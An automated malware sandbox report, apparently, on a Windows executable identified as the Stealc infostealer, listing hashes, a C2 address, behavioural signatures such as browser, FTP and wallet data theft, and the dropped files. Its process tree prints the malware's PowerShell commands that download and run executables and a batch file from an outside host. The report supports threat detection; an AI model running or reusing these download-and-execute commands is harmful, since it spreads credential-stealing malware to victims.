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Analysis

  • max time kernel
    134s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    06/05/2024, 22:38

General

  • Target

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe

  • Size

    49KB

  • MD5

    d58a180c5d85448472b4e1007fae4b2a

  • SHA1

    c07bf8ee2bb73efbf111c2dd753d70bbd84cdb54

  • SHA256

    56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d

  • SHA512

    78002ed8c7342d2298f74090afe83572f8373c8e34a3ea9bbc2fc8fed04b2cb3511cb1fd0dd194b1ac41ac0a77ab1cdaa184d34e25cf1b21e4f8990922be3367

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpkvFI+Plh:Xfi3k+oWDBDh1duFpjWlh

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe
    "C:\Users\Admin\AppData\Local\Temp\56e5aaed7fcbfd493fddd37e86b43030d575d93c7f3ad7b97a4c17164ab1801d.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1008
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsa6199.tmp\app.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1568
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3812
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4104
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1812
        • C:\Users\Admin\AppData\Local\Temp\u1ec.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u1ec.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:4036
        • C:\Users\Admin\AppData\Local\Temp\u1ec.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u1ec.1.exe"
          4⤵
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:2892
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2560
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2268
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /K i2.bat
        3⤵
          PID:1220
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k smphost
      1⤵
        PID:4104

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Are.docx

        Filesize

        11KB

        MD5

        a33e5b189842c5867f46566bdbf7a095

        SHA1

        e1c06359f6a76da90d19e8fd95e79c832edb3196

        SHA256

        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

        SHA512

        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        1KB

        MD5

        66382a4ca6c4dcf75ce41417d44be93e

        SHA1

        8132cbef1c12f8a89a68a6153ade4286bf130812

        SHA256

        a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

        SHA512

        2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        16KB

        MD5

        c7fb3ce360c7d4bc562cf2a7a1f66266

        SHA1

        a537c6e8d9c64743f35486556a86f4184ccf4920

        SHA256

        93127ece28b813320cac73eff7c60ec72116351c042aec0782876b1ae8894ada

        SHA512

        616803c61ec3218c67b809fb77a2ffbc7b8312c47a983d988bff30b6756bcb8f3b82f71967c27f328465b1ef42b0b8062317f1fc99c0b0783a87e33e5ddacd79

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        16KB

        MD5

        1bcdf2cea0837c42aa7fdb6fa73a8ab4

        SHA1

        731ded9c3dcadb508a12c4c23be74a76450f3de6

        SHA256

        10be83e2d3fb83f086e35f28d999b9998e9c1e81590dba74c62b163cc8de9cb9

        SHA512

        fa828af5f5e5b29ff4fc7a1f3821a1f830a9433cc5d8a60e7168d8a6d77825d4e51b3bd66fc7be91aad1bd1816e1584fadbdd43785943950db0eb02ef9915732

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_inhammg4.rbi.ps1

        Filesize

        1B

        MD5

        c4ca4238a0b923820dcc509a6f75849b

        SHA1

        356a192b7913b04c54574d18c28d46e6395428ab

        SHA256

        6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

        SHA512

        4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

      • C:\Users\Admin\AppData\Local\Temp\i1.exe

        Filesize

        423KB

        MD5

        5b82c33ae65525d14793909ec833f42f

        SHA1

        37d51bb30d2351213f492fb6622a627230f6b4b3

        SHA256

        6f5fa0aa57d4db23a970f02f8880ce42550cbe5b6f9122122547c7324d3ef2ef

        SHA512

        7822af9ec5be6d0be42726d67372de8295e4b9b1b2e069d43552b7d1f698b8a6dd72393294fe99709d7fc9a30389b1cf735fbb41a7c7ee1b4a5a58b25b7d7099

      • C:\Users\Admin\AppData\Local\Temp\nsa6199.tmp\app.bat

        Filesize

        556B

        MD5

        1d5830e49fb8ad21e3c1e3333b819e7f

        SHA1

        ee70e4b9c36d0bbcefce139bac51abadbd985197

        SHA256

        8e71a833717ce5a0b8d882724613ad0be188c85060705b0c1d40abcd9bd4bd80

        SHA512

        1b3bb316fec3e7da52725f730af59b1780d1754d69f107e424a606764b816e8d4e2f6ebbdb835ef175fe9f56b7add19c21a13493ade7b1de82c8844112462cbb

      • C:\Users\Admin\AppData\Local\Temp\u1ec.0.exe

        Filesize

        282KB

        MD5

        f72e01dfb65e6409cb0fc611e466e9d5

        SHA1

        e3d9f9d5e531ea1537bbecbf8064c5772a3c4a26

        SHA256

        7eec5c68ccc964cae08684c73b65a0427623454286b253b4ee4453dc1aa93bbf

        SHA512

        7f47b5e7d997d923ca3d2a481bd8754b01c444c3be284b01e8577e58632bf1b69db87927e57079999e9ffc4dc1d50c45b68a5ce3b4ad58bdcf55d48acb9a87c1

      • C:\Users\Admin\AppData\Local\Temp\u1ec.1.exe

        Filesize

        4.6MB

        MD5

        397926927bca55be4a77839b1c44de6e

        SHA1

        e10f3434ef3021c399dbba047832f02b3c898dbd

        SHA256

        4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

        SHA512

        cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

      • \ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • \Users\Admin\AppData\Local\Temp\nsa6199.tmp\INetC.dll

        Filesize

        25KB

        MD5

        40d7eca32b2f4d29db98715dd45bfac5

        SHA1

        124df3f617f562e46095776454e1c0c7bb791cc7

        SHA256

        85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

        SHA512

        5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

      • memory/1812-105-0x0000000000400000-0x0000000001A34000-memory.dmp

        Filesize

        22.2MB

      • memory/1812-142-0x0000000000400000-0x0000000001A34000-memory.dmp

        Filesize

        22.2MB

      • memory/2560-222-0x0000021929650000-0x000002192965A000-memory.dmp

        Filesize

        40KB

      • memory/2560-231-0x0000021942500000-0x0000021942800000-memory.dmp

        Filesize

        3.0MB

      • memory/2560-244-0x00000219478A0000-0x00000219478BE000-memory.dmp

        Filesize

        120KB

      • memory/2560-243-0x0000021947940000-0x00000219479B6000-memory.dmp

        Filesize

        472KB

      • memory/2560-242-0x00000219477F0000-0x00000219477FC000-memory.dmp

        Filesize

        48KB

      • memory/2560-239-0x0000021947DB0000-0x00000219482D6000-memory.dmp

        Filesize

        5.1MB

      • memory/2560-238-0x0000021947860000-0x0000021947882000-memory.dmp

        Filesize

        136KB

      • memory/2560-236-0x00000219477E0000-0x00000219477EA000-memory.dmp

        Filesize

        40KB

      • memory/2560-237-0x0000021947800000-0x0000021947862000-memory.dmp

        Filesize

        392KB

      • memory/2560-234-0x00000219474E0000-0x0000021947518000-memory.dmp

        Filesize

        224KB

      • memory/2560-235-0x00000219466B0000-0x00000219466B8000-memory.dmp

        Filesize

        32KB

      • memory/2560-233-0x0000021946650000-0x0000021946658000-memory.dmp

        Filesize

        32KB

      • memory/2560-227-0x0000021929660000-0x000002192966A000-memory.dmp

        Filesize

        40KB

      • memory/2560-217-0x0000021942170000-0x000002194227A000-memory.dmp

        Filesize

        1.0MB

      • memory/2560-226-0x0000021942460000-0x0000021942482000-memory.dmp

        Filesize

        136KB

      • memory/2560-223-0x0000021941F00000-0x0000021941F2A000-memory.dmp

        Filesize

        168KB

      • memory/2560-224-0x00000219423B0000-0x0000021942462000-memory.dmp

        Filesize

        712KB

      • memory/2560-225-0x00000219424B0000-0x0000021942500000-memory.dmp

        Filesize

        320KB

      • memory/2560-220-0x0000021941E50000-0x0000021941E64000-memory.dmp

        Filesize

        80KB

      • memory/2560-221-0x0000021941E80000-0x0000021941EA4000-memory.dmp

        Filesize

        144KB

      • memory/2560-216-0x0000021924010000-0x0000021927844000-memory.dmp

        Filesize

        56.2MB

      • memory/2560-219-0x0000021941E60000-0x0000021941E6C000-memory.dmp

        Filesize

        48KB

      • memory/2560-218-0x0000021929520000-0x0000021929530000-memory.dmp

        Filesize

        64KB

      • memory/2892-215-0x0000000000400000-0x00000000008AD000-memory.dmp

        Filesize

        4.7MB

      • memory/3812-30-0x0000000008550000-0x000000000859B000-memory.dmp

        Filesize

        300KB

      • memory/3812-27-0x0000000007470000-0x00000000074D6000-memory.dmp

        Filesize

        408KB

      • memory/3812-46-0x0000000009A20000-0x000000000A098000-memory.dmp

        Filesize

        6.5MB

      • memory/3812-48-0x0000000072400000-0x0000000072AEE000-memory.dmp

        Filesize

        6.9MB

      • memory/3812-18-0x000000007240E000-0x000000007240F000-memory.dmp

        Filesize

        4KB

      • memory/3812-24-0x0000000072400000-0x0000000072AEE000-memory.dmp

        Filesize

        6.9MB

      • memory/3812-22-0x0000000072400000-0x0000000072AEE000-memory.dmp

        Filesize

        6.9MB

      • memory/3812-47-0x0000000009150000-0x000000000916A000-memory.dmp

        Filesize

        104KB

      • memory/3812-21-0x0000000004B40000-0x0000000004B76000-memory.dmp

        Filesize

        216KB

      • memory/3812-26-0x0000000007400000-0x0000000007466000-memory.dmp

        Filesize

        408KB

      • memory/3812-23-0x00000000074F0000-0x0000000007B18000-memory.dmp

        Filesize

        6.2MB

      • memory/3812-25-0x0000000007280000-0x00000000072A2000-memory.dmp

        Filesize

        136KB

      • memory/3812-28-0x0000000007C20000-0x0000000007F70000-memory.dmp

        Filesize

        3.3MB

      • memory/3812-29-0x00000000073A0000-0x00000000073BC000-memory.dmp

        Filesize

        112KB

      • memory/3812-52-0x0000000072400000-0x0000000072AEE000-memory.dmp

        Filesize

        6.9MB

      • memory/3812-31-0x0000000008290000-0x0000000008306000-memory.dmp

        Filesize

        472KB

      • memory/4036-188-0x0000000000400000-0x0000000001A10000-memory.dmp

        Filesize

        22.1MB

      • memory/4036-106-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

      • memory/4036-170-0x0000000000400000-0x0000000001A10000-memory.dmp

        Filesize

        22.1MB